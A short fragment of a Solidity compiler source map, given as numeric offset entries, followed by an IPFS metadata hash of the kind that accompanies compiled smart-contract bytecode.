25;;18983:20;19001:1;18983:20;:::i;:::-;18978:25;;19022:1;19012:35;;19027:18;;:::i;:::-;19012:35;19069:1;19066;19062:9;19057:14;;18892:185;;;;:::o

ipfs://59cefd89de194b923f0dd22c24b41bf651c522f75fbed9a71dceeb5eaa251ff3